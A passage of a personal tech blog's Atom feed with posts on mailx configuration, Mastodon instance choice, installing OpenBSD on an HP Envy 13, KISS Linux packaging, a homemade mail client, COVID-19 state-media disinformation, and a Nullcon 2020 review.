 set from=&quot;Your Name &lt;user@domain.tld&gt;&quot;
 set folder=imaps://imap.domain.tld:993

 # copy sent messages to Sent; '+' indicates subdir of 'folder' 
 set record=+Sent
 set inbox=+INBOX
 
 # optionally, set this to 'smtps' and change the port accordingly
 # remove 'smtp-use-starttls'
 set mta=smtp://smtp.domain.tld:587 smtp-use-starttls

 # couple of shortcuts to useful folders
 shortcut sent +Sent \
 inbox +INBOX \
 drafts +Drafts \
 trash +Trash \
 archives +Archives
}

# enable account on startup
account personal
</code></pre>

<p>You might also want to trash mail, instead of perma-deleting them
(<code>delete</code> does that). To achieve this, we define an alias:</p>

<pre><code>define trash {
 move &quot;$@&quot; +Trash
}

commandalias del call trash
</code></pre>

<p>Replace <code>+Trash</code> with the relative path to your trash folder.</p>

<h2 id="aesthetics">aesthetics</h2>

<p>The fun stuff. I don&rsquo;t feel like explaining what these do (hint: I don&rsquo;t
fully understand it either), so just copy-paste it and mess around with
the colors:</p>

<pre><code># use whatever symbol you fancy
set prompt='&gt; '

colour 256 sum-dotmark ft=bold,fg=13 dot
colour 256 sum-header fg=007 older
colour 256 sum-header bg=008 dot
colour 256 sum-header fg=white
colour 256 sum-thread bg=008 dot
colour 256 sum-thread fg=cyan
</code></pre>

<p>The prompt can be configured more extensively, but I don&rsquo;t need it. Read
the man page if you do.</p>

<h2 id="essential-commands">essential commands</h2>

<p>Eh, you can just read the man page, I guess. But here&rsquo;s a quick list off
the top of my head:</p>

<ul>
<li><code>headers</code>: Lists all messages, with the date, subject etc.</li>
<li><code>mail</code>: Compose mail.</li>
<li><code>&lt;number&gt;</code>: Read mail by specifiying its number on the message list.</li>
<li><code>delete &lt;number&gt;</code>: Delete mail.</li>
<li><code>new &lt;number&gt;</code>: Mark as new (unread).</li>
<li><code>file &lt;shortcut or path to folder&gt;</code>: Change folders. For example: <code>file
sent</code></li>
</ul>

<p>That&rsquo;s all there is to it.</p>

<p><em>This is day 2 of the #100DaysToOffload challenge. I didn&rsquo;t think I&rsquo;d
participate, until today. So yesterday&rsquo;s post is day 1. Will I keep at
it? I dunno. We&rsquo;ll see.</em></p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:read-man"><p>Honestly, read the man page (and email Steffen!)&mdash;there&rsquo;s
a ton of useful options in there.</p> <a class="footnote-return" href="#fnref:read-man"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Stop joining mastodon.social</title>
|
||
<updated>2020-05-05T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-05-05:blog/mastodon-social</id>
|
||
<link href="https://icyphox.sh/blog/mastodon-social"></link>
|
||
<summary type="html"><h2>Do you even understand federation?</h2>
<p>No, really. Do you actually understand why the Mastodon network exists,
and what it stands for, or are you just LARPing? If you&rsquo;re going to just
cross-post from Twitter, why are you even on Mastodon?</p>

<p>Okay, so Mastodon is a &ldquo;federated network&rdquo;. What does that mean? You
have a bunch of instances, each having their own userbase, and each
instance <em>federates</em> with other instances, forming a distributed
network. Got that? Cool. Now let&rsquo;s get to the problem with
mastodon.social.</p>

<p>mastodon.social is the instance run by the lead developer. Why does
everybody flock to it? I&rsquo;m really not sure, but if I were to hazard
a guess, I&rsquo;d say it&rsquo;s because people don&rsquo;t really understand federation.
&ldquo;Oh, big instance? I should probably join that.&rdquo; Herd mentality?
I dunno.</p>

<p>And what happens when every damn user joins just one instance? It becomes
more Twitter, that&rsquo;s what. The federation is gone. Nearly all activity
is generated from just one instance. Here are some numbers:</p>

<ul>
<li>Total number of users on Mastodon: ~2.2 million.</li>
<li>Number of users on mastodon.social: 529923</li>
</ul>

<p>Surprisingly, there&rsquo;s an instance even bigger than
mastodon.social&mdash;pawoo.net. I have no idea why it&rsquo;s so big and it&rsquo;s
primarily Japanese. Its user count is over 620k. So mastodon.social and
pawoo.net put together form over 1 million users, that&rsquo;s <em>more than</em> 50%
of the entire Mastodon populace. That&rsquo;s nuts.<sup class="footnote-ref" id="fnref:federation-fallacy"><a href="#fn:federation-fallacy">1</a></sup></p>

<p>And you&rsquo;re only enabling this centralization by joining mastodon.social! Really, what
even <em>is there</em> on mastodon.social? Have you even seen its local
timeline? Probably not. Join an instance with more flavor. Are you into,
say, the BSDs? Join bsd.network. Free software? fosstodon.org. Or host
your own for yourself and your friends.</p>

<p>If you really do care about decentralization and freedom, and aren&rsquo;t
just memeing to look cool on Twitter, then move your account to another
instance.<sup class="footnote-ref" id="fnref:move-account"><a href="#fn:move-account">2</a></sup></p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:federation-fallacy"><a href="https://rosenzweig.io/blog/the-federation-fallacy.html" rel="nofollow">https://rosenzweig.io/blog/the-federation-fallacy.html</a> <a class="footnote-return" href="#fnref:federation-fallacy"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:move-account"><p>Go to <code>/settings/migration</code> from your instance&rsquo;s web
 page.</p> <a class="footnote-return" href="#fnref:move-account"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>OpenBSD on the HP Envy 13</title>
|
||
<updated>2020-04-17T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-04-17:blog/openbsd-hp-envy</id>
|
||
<link href="https://icyphox.sh/blog/openbsd-hp-envy"></link>
|
||
<summary type="html"><h2>I put a blowfish in my laptop this week</h2>
<p>My existing KISS install broke because I thought it would be a great
idea to have <a href="https://github.com/alpinelinux/apk-tools" rel="nofollow">apk-tools</a>
alongside the <code>kiss</code> package manager. It&rsquo;s safe to say, that did not end
well&mdash;especially when I installed, and then removed a package. With
a semi-broken install that I didn&rsquo;t feel like fixing, I figured I&rsquo;d give
OpenBSD a try. And I did.</p>

<h2 id="installation-and-setup">installation and setup</h2>

<p>Ran into some trouble booting off the USB initially, turned out to be
a faulty stick. Those things aren&rsquo;t built to last, sadly. Flashed a new
stick, booted up. Setup was pleasant, very straightforward. Didn&rsquo;t
really have to intervene much.</p>

<p>After booting in, I was greeted with a very archaic looking FVWM
desktop. It&rsquo;s not the prettiest thing, and especially annoying to work
with when you don&rsquo;t have your mouse setup, i.e. no tap-to-click.</p>

<p>I needed wireless, and my laptop doesn&rsquo;t have an Ethernet port. USB
tethering just works, but the connection kept dying. I&rsquo;m not sure why.
Instead, I downloaded the <a href="http://man.openbsd.org/iwm.4" rel="nofollow">iwm(4)</a>
firmware from <a href="http://firmware.openbsd.org/firmware/6.6/" rel="nofollow">here</a>, loaded
it up on a USB stick and copied it over to <code>/etc/firmware</code>. After that,
it was as simple as running
<a href="http://man.openbsd.org/fw_update.1" rel="nofollow">fw_update(1)</a>
and the firmware is auto-detected and loaded. In fact, if you have working
Internet, <code>fw_update</code> will download the required firmware for you, too.</p>

<p>Configuring wireless is painless and I&rsquo;m so glad to see that there&rsquo;s no
<code>wpa_supplicant</code> horror to deal with. It&rsquo;s as simple as:</p>

<pre><code>$ doas ifconfig iwm0 nwid YOUR_SSID wpakey YOUR_PSK
</code></pre>

<p>Also see <a href="http://man.openbsd.org/hostname.if.5" rel="nofollow">hostname.if(5)</a> to make
this persist. After that, it&rsquo;s only a matter of specifying your desired
SSID, and <code>ifconfig</code> will automatically auth and procure an IP lease.</p>

<pre><code>$ doas ifconfig iwm0 nwid YOUR_SSID
</code></pre>

<p>By now I was really starting to get exasperated by FVWM, and decided to
switch to something nicer. I tried building 2bwm (my previous WM), but
that failed. I didn&rsquo;t bother trying to figure this out, so I figured I&rsquo;d
give <a href="http://man.openbsd.org/cwm.1" rel="nofollow">cwm(1)</a> a shot. Afterall, people
sing high praises of it.</p>

<p>And boy, is it good. The config is a breeze, and actually pretty
powerful. <a href="https://github.com/icyphox/dotfiles/blob/master/home/.cwmrc" rel="nofollow">Here&rsquo;s mine</a>.
cwm also has a built-in launcher, so dmenu isn&rsquo;t necessary anymore.
Refer to <a href="https://man.openbsd.org/cwmrc.5" rel="nofollow">cwmrc(5)</a> for all the config
options.</p>

<p>Touchpad was pretty simple to setup too&mdash;OpenBSD has
<a href="http://man.openbsd.org/wsconsctl.8" rel="nofollow">wsconsctl(8)</a>, which lets you set
your tap-to-click, mouse acceleration etc. However, more advanced
configuration can be achieved by getting Xorg to use the Synaptics
driver. Just add a <code>70-synaptics.conf</code> to <code>/etc/X11/xorg.conf.d</code> (make
the dir if it doesn&rsquo;t exist), containing:</p>

<pre><code class="language-conf">Section &quot;InputClass&quot;
	Identifier &quot;touchpad catchall&quot;
	Driver &quot;synaptics&quot;
	MatchIsTouchpad &quot;on&quot;
 Option &quot;TapButton1&quot; &quot;1&quot;
 Option &quot;TapButton2&quot; &quot;3&quot;
 Option &quot;TapButton3&quot; &quot;2&quot;
 Option &quot;VertEdgeScroll&quot; &quot;on&quot;
 Option &quot;VertTwoFingerScroll&quot; &quot;on&quot;
 Option &quot;HorizEdgeScroll&quot; &quot;on&quot;
 Option &quot;HorizTwoFingerScroll&quot; &quot;on&quot;
	Option &quot;VertScrollDelta&quot; &quot;111&quot;
	Option &quot;HorizScrollDelta&quot; &quot;111&quot;
EndSection	
</code></pre>

<p>There are a lot more options that can be configured, see
<a href="http://man.openbsd.org/synaptics.4" rel="nofollow">synaptics(4)</a>.</p>

<p>Suspend and hibernate just work, thanks to
<a href="http://man.openbsd.org/apm.8" rel="nofollow">apm(8)</a>. Suspend on lid-close just needs
one <code>sysctl</code> tweak:</p>

<pre><code>$ sysctl machdep.lidaction=1
</code></pre>

<p>I believe it&rsquo;s set to 1 by default on some installs, but I&rsquo;m not sure.</p>

<h2 id="impressions">impressions</h2>

<p>I already really like the philosophy of OpenBSD&mdash;security and
simplicity, while not losing out on sanity. The default install is
plentiful, and has just about everything you&rsquo;d need to get going.
I especially enjoy how everything just works! I was pleasantly surprised
to see my brightness and volume keys work without any configuration!
It&rsquo;s clear that the devs
actually dogfood OpenBSD, unlike uh, <em>cough</em> Free- <em>cough</em>. Gosh I hope
it&rsquo;s not <em>the</em> flu. :^)</p>

<p>Oh and did you notice all the manpage links I&rsquo;ve littered throughout
this post? They have manpages for <em>everything</em>; it&rsquo;s ridiculous. And
they&rsquo;re very thorough. Arch Wiki is good, but it&rsquo;s incorrect at times,
or simply outdated. OpenBSD&rsquo;s manpages, although catering only to
OpenBSD have never failed me.</p>

<p>Performance and battery life are fine. Battery is in fact, identical, if
not better than on Linux. OpenBSD disables HyperThreading/SMT for
security reasons, but you can manually enable it if you wish to do so:</p>

<pre><code>$ sysctl hw.smt=1
</code></pre>

<p>Package management is probably the only place where OpenBSD falls short.
<a href="http://man.openbsd.org/pkg_add.1" rel="nofollow">pkg_add(1)</a> isn&rsquo;t particularly fast,
considering it&rsquo;s written in Perl. The ports selection is fine, I have
yet to find something that I need not on there. I also wish they
debloated packages; maybe I&rsquo;ve just been spoilt by KISS. I now have
D-Bus on my system thanks to Firefox. :(</p>

<p>I appreciate the fact that they don&rsquo;t have a political document&mdash;a Code
of Conduct. CoCs are awful, and have only proven to be harmful for
projects; part of the reason why I&rsquo;m sick of Linux and its community.
Oh wait, OpenBSD does have one: <a href="https://www.openbsd.org/mail.html" rel="nofollow">https://www.openbsd.org/mail.html</a>
;)</p>

<p>I&rsquo;ll be exploring <a href="http://man.openbsd.org/vmd.8" rel="nofollow">vmd(8)</a> to see if I can
get a Linux environment going. Perhaps that&rsquo;ll be my next post, but when
have I ever delivered?</p>

<p>I&rsquo;ll close this post off with my new rice, and a sick ASCII art I made.</p>

<pre><code> \. -- --./ 
 / ^ ^ ^ \
 (o)(o) ^ ^ |_/|
 {} ^ ^ &gt; ^| \|
 \^ ^ ^ ^/
 / -- --\
 ~icy
</code></pre>

<p><img src="https://cdn.icyphox.sh/zDYdj.png" alt="openbsd rice" /></p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>The Zen of KISS Linux</title>
|
||
<updated>2020-04-03T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-04-03:blog/kiss-zen</id>
|
||
<link href="https://icyphox.sh/blog/kiss-zen"></link>
|
||
<summary type="html"><h2>My thoughts on the distro, the philosophy and my experience in general</h2>
<p><a href="/blog/five-days-tty">I installed KISS</a> early in January on my main
machine&mdash;an HP Envy 13 (2017), and I have since noticed a lot of changes
in my workflow, my approach to software (and its development), and in
life as a whole. I wouldn&rsquo;t call KISS &ldquo;life changing&rdquo;, as that would be
overly dramatic, but it has definitely reshaped my outlook towards
technology&mdash;for better or worse.</p>

<p>When I talk about KISS to people&mdash;online or IRL&mdash;I get some pretty
interesting reactions and comments.<sup class="footnote-ref" id="fnref:bringing-up-kiss"><a href="#fn:bringing-up-kiss">1</a></sup>
Ranging from &ldquo;Oh cool.&rdquo; to &ldquo;You must be
retarded.&rdquo;, I&rsquo;ve heard it all. A classic and a personal favourite of
mine, &ldquo;I don&rsquo;t use meme distros because I actually get work done.&rdquo; It is
actually, quite the opposite&mdash;I&rsquo;ve been so much more productive using
KISS than any other operating system. I&rsquo;ll explain why shortly.</p>

<p>The beauty of this &ldquo;distro&rdquo;, is it isn&rsquo;t much of a distribution at all.
There is no big team, no mailing lists, no infrastructure. The entire
setup is so loose, and this makes it very convenient to swap things out
for alternatives. The main (and potentially community) repos all reside
locally on your system. In the event that Dylan decides to call it
quits and switches to Windows, we can simply just bump versions
ourselves, locally! The <a href="https://k1ss.org/guidestones" rel="nofollow">KISS Guidestones</a>
document is a good read.</p>

<p>In the subseqent paragraphs, I&rsquo;ve laid out the different things about
KISS that stand out to me, and make using the system a lot more
enjoyable.</p>

<h2 id="the-package-system">the package system</h2>

<p>Packaging for KISS has been delightful, to say the least. It takes me
about 2 mins to write and publish a new package. Here&rsquo;s the <code>radare2</code>
package, which I maintain, for example.</p>

<p>The <code>build</code> file (executable):</p>

<pre><code class="language-sh">#!/bin/sh -e

./configure \
 --prefix=/usr

make
make DESTDIR=&quot;$1&quot; install
</code></pre>

<p>The <code>version</code> file:</p>

<pre><code>4.3.1 1
</code></pre>

<p>The <code>checksums</code> file (generated using <code>kiss checksum radare2</code>):</p>

<pre><code>4abcb9c9dff24eab44d64d392e115ae774ab1ad90d04f2c983d96d7d7f9476aa 4.3.1.tar.gz
</code></pre>

<p>And finally, the <code>sources</code> file:</p>

<pre><code>https://github.com/radareorg/radare2/archive/4.3.1.tar.gz
</code></pre>

<p>This is literally the bare minimum that you need to define a package.
There&rsquo;s also the <code>depends</code> file where you specify the dependencies for
your package.
<code>kiss</code> also generates a <code>manifests</code> file to track all the files and
directories that your package creates during installation, for their
removal, if and when that occurs. Now compare this process with any
other distribution&rsquo;s.</p>

<h2 id="the-community">the community</h2>

<p>As far as I know, it mostly consists of the <code>#kisslinux</code> channel on
Freenode and the <a href="https://old.reddit.com/r/kisslinux" rel="nofollow">r/kisslinux</a>
subreddit. It&rsquo;s not that big, but it&rsquo;s suprisingly active, and super
helpful. There have been some interested new KISS-related projects
too: <a href="https://github.com/sdsddsd1/kiss-games" rel="nofollow">kiss-games</a>&mdash;a repository
for, well, Linux games; <a href="https://github.com/jedavies-dev/kiss-ppc64le" rel="nofollow">kiss-ppc64le</a>
and <a href="https://github.com/jedavies-dev/kiss-aarch64" rel="nofollow">kiss-aarch64</a>&mdash;KISS
Linux ports for PowerPC and ARM64 architectures;
<a href="https://github.com/wyvertux/wyvertux" rel="nofollow">wyvertux</a>&mdash;an attempt at
a GNU-free Linux distribution, using KISS as a base; and tons more.</p>

<h2 id="the-philosophy">the philosophy</h2>

<p>Software today is far too complex. And its complexity is only growing.
Some might argue that this is inevitable, and it is in fact progress.
I disagree. Blindly adding layers and layers of abstraction (Docker,
modern web &ldquo;apps&rdquo;) isn&rsquo;t progress. Look at the Linux desktop ecosystem
today, for example&mdash;monstrosities like GNOME and KDE are a result of
this&hellip;new wave software engineering.</p>

<p>I see KISS as a symbol of defiance against this malformed notion. You
don&rsquo;t <em>need</em> all the bloat these DEs ship with to have a usable system.
Agreed, it&rsquo;s a bit more effort to get up and running, but it is entirely
worth it. Think of it as a clean table&mdash;feels good to sit down and work on,
doesn&rsquo;t it?</p>

<p>Let&rsquo;s take my own experience, for example. One of the initial few
software I used to install on a new system was <code>dunst</code>&mdash;a notification
daemon. Unfortunately, it depends on D-Bus, which is Poetterware; ergo,
not on KISS. However, using a system without notifications has been very
pleasant. Nothing to distract you while you&rsquo;re in the zone.</p>

<p>Another instance, again involving D-Bus (or not), is Bluetooth audio. As
it happens, my laptop&rsquo;s 3.5mm jack is rekt, and I need to use Bluetooth
for audio, if at all. Sadly, Bluetooth audio on Linux hard-depends on
D-Bus. Bluetooth stacks that don&rsquo;t rely on D-Bus do exist, like on Android,
but porting them over to desktop is non-trivial. However, I used this to
my advantage and decided not to consume media on my laptop. This has
drastically boosted my productivity, since I literally cannot watch
YouTube even if I wanted to. My laptop is now strictly work-only.
If I do need to watch the occasional video / listen to music, I use my
phone. Compartmentalizing work and play to separate devices has worked
out pretty well for me.</p>

<p>I&rsquo;m slowly noticing myself favor low-tech (or no-tech) solutions to
simple problems too. Like notetaking&mdash;I&rsquo;ve tried plaintext files, Vim
Wiki, Markdown, but nothing beats actually using pen and paper. Tech,
from what I can see, doesn&rsquo;t solve problems very effectively. In some
cases, it only causes more of them. I might write another post
discussing my thoughts on this in further detail.</p>

<p>I&rsquo;m not sure what I intended this post to be, but I&rsquo;m pretty happy with
the mindspill. To conclude this already long monologue, let me clarify
one little thing y&rsquo;all are probably thinking, &ldquo;Okay man, are you
suggesting that we regress to the Dark Ages?&rdquo;. No, I&rsquo;m not suggesting
that we regress, but rather, progress mindfully.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:bringing-up-kiss"><p>No, I don&rsquo;t go &ldquo;I use KISS btw&rdquo;. I don&rsquo;t bring it
up unless provoked.</p> <a class="footnote-return" href="#fnref:bringing-up-kiss"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Introducing mael</title>
|
||
<updated>2020-03-29T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-03-29:blog/mael</id>
|
||
<link href="https://icyphox.sh/blog/mael"></link>
|
||
<summary type="html"><h2>An experimental mail client</h2>
<p><strong>Update</strong>: The code lives here: <a href="https://github.com/icyphox/mael" rel="nofollow">https://github.com/icyphox/mael</a></p>

<p>I&rsquo;ve been on the lookout for a good terminal-based email client since
forever, and I&rsquo;ve tried almost all of them. The one I use right now
sucks a little less&mdash;<a href="https://git.sr.ht/~sircmpwn/aerc" rel="nofollow">aerc</a>. I have
some gripes with it though, like the problem with outgoing emails not
getting copied to the Sent folder, and instead erroring out with
a cryptic <code>EOF</code>&mdash;that&rsquo;s literally all it says.
I&rsquo;ve tried mutt, but I find it a little excessive. It feels like the
weechat of email&mdash;to many features that you&rsquo;ll probably never use.</p>

<p>I need something clean and simple, less bloated (for the lack of
a better term). This is what motivated me to try writing my own. The
result of this (and not to mention, being holed up at home with nothing
better to do), is <strong>mael</strong>.<sup class="footnote-ref" id="fnref:oss"><a href="#fn:oss">1</a></sup></p>

<p>mael isn&rsquo;t like your usual TUI clients. I envision this to turn out
similar to mailx&mdash;a prompt-based UI. The reason behind this UX decision
is simple: it&rsquo;s easier for me to write. :)</p>

<p>Speaking of writing it, it&rsquo;s being written in a mix of Python and bash.
Why? Because Python&rsquo;s <code>email</code> and <code>mailbox</code> modules are fantastic, and
I don&rsquo;t think I want to parse Maildirs in bash. &ldquo;But why not pure
Python?&rdquo; Well, I&rsquo;m going to be shelling out a lot (more on this in a bit),
and writing interactive UIs in bash is a lot more intuitive, thanks to
some of the nifty features that later versions of bash have&mdash;<code>read</code>,
<code>mapfile</code> etc.</p>

<p>The reason I&rsquo;m shelling out is because two key components to this
client, that I haven&rsquo;t yet talked about&mdash;<code>mbsync</code> and <code>msmtp</code> are in
use, for IMAP and SMTP respectively. And <code>mbsync</code> uses the Maildir
format, which is why I&rsquo;m relying on Python&rsquo;s <code>mailbox</code> package. Why is
this in the standard library anyway?!</p>

<p>The architecture of the client is pretty interesting (and possibly very
stupid), but here&rsquo;s what happens:</p>

<ul>
<li>UI and prompt stuff in bash</li>
<li>emails are read using <code>less</code></li>
<li>email templates (RFC 2822) are parsed and generated in Python</li>
<li>this is sent to bash in STDOUT, like</li>
</ul>

<pre><code class="language-sh">msg=&quot;$(./mael-parser &quot;$maildir_message_path&quot;)&quot;
</code></pre>

<p>These kind of one-way (bash -&gt; Python) calls are what drive the entire
process. I&rsquo;m not sure what to think of it. Perhaps I might just give up
and write the entire thing in Python.
Or&hellip;I might just scrap this entirely and just shut up and use aerc.
I don&rsquo;t know yet. The code does seem to be growing in size rapidly. It&rsquo;s
about ~350 LOC in two days of writing (Python + bash). New problems
arise every now and then and it&rsquo;s pretty hard to keep track of all of
this. It&rsquo;ll be cool when it&rsquo;s all done though (I think).</p>

<p>If only things just worked.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:oss"><p>I have yet to open source it; this post will be updated with
a link to it when I do.</p> <a class="footnote-return" href="#fnref:oss"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>COVID-19 disinformation</title>
|
||
<updated>2020-03-15T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-03-15:blog/covid19-disinfo</id>
|
||
<link href="https://icyphox.sh/blog/covid19-disinfo"></link>
|
||
<summary type="html"><h2>A lot of actors cashing in on the epidemic</h2>
<p>The virus spreads around the world, along with a bunch of disinformation
and potential malware / phishing campaigns. There are many actors,
pushing many narratives&mdash;some similar, some different.</p>

<p>Interestingly, the three big players in the information warfare
space&mdash;Russia, Iran and China seem to be running similar stories on
their state-backed media outlets. While they all tend to lean towards
the same, fairly anti-U.S. sentiments&mdash;that is, blaming the US for
weaponizing the crisis for political gain&mdash;Iran and Russia&rsquo;s content
come off as more&hellip;conspiratorial.
In essence, they claim that the COVID-19 virus is a &ldquo;bioweapon&rdquo;
developed by the U.S.</p>

<p>Russian news agency
<a href="https://twitter.com/RT_com/status/1233187558793924608" rel="nofollow">RT tweeted</a>:</p>

<blockquote>
<p>Show of hands, who isn&rsquo;t going to be surprised if it ever gets
revealed that #coronavirus is a bioweapon?</p>
</blockquote>

<p>RT also published
<a href="https://www.rt.com/usa/481485-coronavirus-russia-state-department/" rel="nofollow">an article</a>
mocking the U.S. for concerns over Russian disinformation.
Another article by RT,
<a href="https://www.rt.com/op-ed/481831-coronavirus-kill-bill-capitalism-communism/" rel="nofollow">an op-ed</a>
suggests the virus&rsquo; impact on financial markets might bring about the
reinvention of communism and the end of the global capitalist system.
Russian state-sponsored media can also be seen amplifying Iranian
conspiracy theories&mdash;including the Islamic Revolutionary Guard Corps&rsquo;
(IRGC) suggestion that COVID-19
<a href="https://www.rt.com/news/482405-iran-coronavirus-us-biological-weapon/" rel="nofollow">is a U.S. bioweapon</a>.</p>

<p>Iranian media outlets appear to be running stories having similar
themese, as well. Here&rsquo;s one
<a href="https://www.presstv.com/Detail/2020/03/05/620217/US-coronavirus-James-Henry-Fetzer" rel="nofollow">by PressTV</a>,
where they very boldly claim that the virus was developed by
the U.S. and/or Isreal, to use as a bioweapon against Iran. Another
<a href="https://www.presstv.com/Detail/2020/03/05/620213/Coronavirus-was-produced-in-a-laboratory" rel="nofollow">nonsensical piece</a>
by PressTV suggests that
&ldquo;there are components of the virus that are related to HIV that could not have occurred naturally&rdquo;.
The same article pushes another theory:</p>

<blockquote>
<p>There has been some speculation that as the Trump Administration has
been constantly raising the issue of growing Chinese global
competitiveness as a direct threat to American national security and
economic dominance, it might be possible that Washington has created
and unleashed the virus in a bid to bring Beijing’s growing economy
and military might down a few notches. It is, to be sure, hard to
believe that even the Trump White House would do something so
reckless, but there are precedents for that type of behavior</p>
</blockquote>

<p>These &ldquo;theories&rdquo;, as is evident, are getting wilder and wilder.</p>

<p>Unsurprisingly, China produces the most amount of content related to the
coronavirus, but they&rsquo;re quite distinct in comparison to Russian and
Iranian media. The general theme behind Chinese narratives is
critisizing the West for&hellip;a lot of things.</p>

<p>Global Times claims that
<a href="http://www.globaltimes.cn/content/1178494.shtml" rel="nofollow">democracy is an insufficient system</a>
to battle the coronavirus. They <a href="http://www.globaltimes.cn/content/1178494.shtml" rel="nofollow">blame the U.S.</a>
for unfair media coverage against China, and other <a href="http://www.globaltimes.cn/content/1180630.shtml" rel="nofollow">anti-China
narratives</a>.
There are a ton other articles that play the racism/discrimination
card&mdash;I wouldn&rsquo;t blame them though. <a href="http://www.globaltimes.cn/content/1178465.shtml" rel="nofollow">Here&rsquo;s one</a>.</p>

<p>In the case of India, most disinfo (actually, misinfo) is mostly just
pseudoscientific / alternative medicine / cures in the form of WhatsApp
forwards&mdash;&ldquo;Eat foo! Eat bar!&rdquo;.<sup class="footnote-ref" id="fnref:cowpiss"><a href="#fn:cowpiss">1</a></sup></p>

<p>I&rsquo;ve also been noticing a <em>ton</em> of COVID-19 / coronavirus related domain
registrations happening. Expect phishing and malware campaigns using the
virus as a theme. In the past 24 hrs, ~450 <code>.com</code> domains alone were
registered.</p>

<p><img src="https://cdn.icyphox.sh/SgswL.png" alt="" /></p>

<p>Anywho, there are bigger problems at hand&mdash;like the fact that my uni
still hasn&rsquo;t suspended classes!</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:cowpiss"><a href="https://www.thehindu.com/news/national/coronavirus-group-hosts-cow-urine-party-says-covid-19-due-to-meat-eaters/article31070516.ece" rel="nofollow">https://www.thehindu.com/news/national/coronavirus-group-hosts-cow-urine-party-says-covid-19-due-to-meat-eaters/article31070516.ece</a> <a class="footnote-return" href="#fnref:cowpiss"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Nullcon 2020</title>
|
||
<updated>2020-03-09T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-03-09:blog/nullcon-2020</id>
|
||
<link href="https://icyphox.sh/blog/nullcon-2020"></link>
|
||
<summary type="html"><h2>An opinion-filled review of Nullcon Goa, 2020</h2>
<p><strong>Disclaimer</strong>: Political.</p>

<p>This year&rsquo;s conference was at the Taj Hotel and Convention center, Dona
Paula, and its associated party at Cidade de Goa, also by Taj.
Great choice of venue, perhaps even better than last time. The food was
fine, the views were better.</p>

<p>With <em>those</em> things out of the way&mdash;let&rsquo;s talk talks. I think
I preferred the panels to the talks&mdash;I enjoy a good, stimulating
discussion as opposed to only half-understanding a deeply technical
talk&mdash;but that&rsquo;s just me. But there was this one talk that I really
enjoyed, perhaps due to its unintended comedic value; I&rsquo;ll get into that
later.</p>

<p>The list of panels/talks I attended in order:</p>

<p><strong>Day 1</strong></p>

<ul>
<li>Keynote: The Metadata Trap by Micah Lee (Talk)</li>
<li>Securing the Human Factor (Panel)</li>
<li>Predicting Danger: Building the Ideal Threat Intelligence Model (Panel)</li>
<li>Lessons from the Cyber Trenches (Panel)</li>
<li>Mlw 41#: a new sophisticated loader by APT group TA505 by Alexey Vishnyakov (Talk)</li>
<li>Taking the guess out of Glitching by Adam Laurie (Talk)</li>
<li>Keynote: Cybersecurity in India&mdash;Information Assymetry, Cross Border
Threats and National Sovereignty by Saumil Shah (Talk)</li>
</ul>

<p><strong>Day 2</strong></p>

<ul>
<li>Keynote: Crouching hacker, killer robot? Removing fear from
cyber-physical security by Stefano Zanero (Talk)</li>
<li>Supply Chain Security in Critical Infrastructure Systems (Panel)</li>
<li>Putting it all together: building an iOS jailbreak from scratch by
Umang Raghuvanshi (Talk)</li>
<li>Hack the Law: Protection for Ethical Cyber Security Research in India
(Panel)</li>
</ul>

<h2 id="re-closing-keynote">Re: Closing keynote</h2>

<p>I wish I could link the talk, but it hasn&rsquo;t been uploaded just yet. I&rsquo;ll
do it once it has. So, I&rsquo;ve a few comments I&rsquo;d like to make on some of
Saumil&rsquo;s statements.</p>

<p>He proposed that the security industry trust the user more, and let them
make the decisions pertaining to personal security / privacy.
Except&hellip;that&rsquo;s just not going to happen. If all users were capable
of making good, security-first choices&mdash;we as an industry don&rsquo;t
need to exist. But that is unfortunately not the case.
Users are dumb. They value convenience and immediacy over
security. That&rsquo;s the sad truth of the modern age.</p>

<p>Another thing he proposed was that the Indian Government build our own
&ldquo;Military Grade&rdquo; and &ldquo;Consumer Grade&rdquo; encryption.</p>

<p><em>&hellip;what?</em></p>

<p>A &ldquo;security professional&rdquo; suggesting that we roll our own crypto? What
even. Oh and, to top it off&mdash;when
<a href="https://twitter.com/tame_wildcard" rel="nofollow">Raman</a>, very rightly countered
saying that the biggest opponent to encryption <em>is</em> the Government, and
trusting them to build safe cryptosystems is probably not wise, he
responded by saying something to the effect of &ldquo;Eh, who cares? If they
want to backdoor it, let them.&rdquo;</p>

<p>Bruh moment.</p>

<p>He also had some interesting things to say about countering
disinformation. He said, and I quote &ldquo;Join the STFU University&rdquo;.</p>

<p>¿wat? Is that your best solution?</p>

<p>Judging by his profile, and certain other things he said in the talk, it
is safe to conclude that his ideals are fairly&hellip;nationalistic. I&rsquo;m not
one to police political opinions, I couldn&rsquo;t care less which way you
lean, but the statements made in the talk were straight up
incorrect.</p>

<h2 id="closing-thoughts">Closing thoughts</h2>

<p>This came out more rant-like than I&rsquo;d intended. It is also the first
blog post where I dip my toes into politics. I&rsquo;ve some thoughts on more
controversial topics for my next entry. That&rsquo;ll be fun, especially when
my follower count starts dropping. LULW.</p>

<p>Saumil, if you ever end up reading this, note that this is not
a personal attack. I think you&rsquo;re a cool guy.</p>

<p>Note to the Nullcon organizers: you guys did a fantastic job running the
conference despite Corona-chan&rsquo;s best efforts. I&rsquo;d like to suggest one
little thing though&mdash;please VET YOUR SPEAKERS more!</p>

